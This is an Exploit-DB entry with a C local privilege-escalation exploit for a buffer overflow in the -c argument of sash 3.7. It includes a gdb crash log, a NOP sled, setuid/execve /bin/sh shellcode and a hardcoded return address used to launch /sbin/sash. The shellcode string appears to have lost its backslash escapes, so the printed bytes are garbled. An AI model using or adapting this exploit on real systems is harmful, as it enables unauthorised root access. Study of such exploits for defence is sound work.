https://www.exploit-db.com/exploits/924

漏洞细节尚未披露

/*  sash-3.7 buffer overflow in c argyment
	written by lammat for practice purposes
		http://grpower.ath.cx
		[email protected]

(gdb) r -c `perl -e 'print "A"x10256'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /sbin/sash -c `perl -e 'print "A"x10256'`
warning: shared library handler failed to enable breakpoint

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

static char shellcode[]=
"x31xdbx53x8dx43x17xcdx80x99x68x6ex2fx73x68x68"
"x2fx2fx62x69x89xe3x50x53x89xe1xb0x0bxcdx80";


#define NOP     0x90
#define LEN     10256
#define RET     0xbfff7770

int main()
{
char buffer[LEN];
long retaddr = RET;
int i;

fprintf(stderr,"using address 0x%lxn",retaddr);

/* Filling the buffer... */

for (i=0;i<LEN;i+=4)
   *(long *)&buffer[i] = retaddr;

for (i=0;i<(LEN-strlen(shellcode)-100);i++)
   *(buffer+i) = NOP;

memcpy(buffer+i,shellcode,strlen(shellcode));
/* Executing sash */

execlp("/sbin/sash","sash","-c",buffer);
return 0;
}

// milw0rm.com [2005-04-08]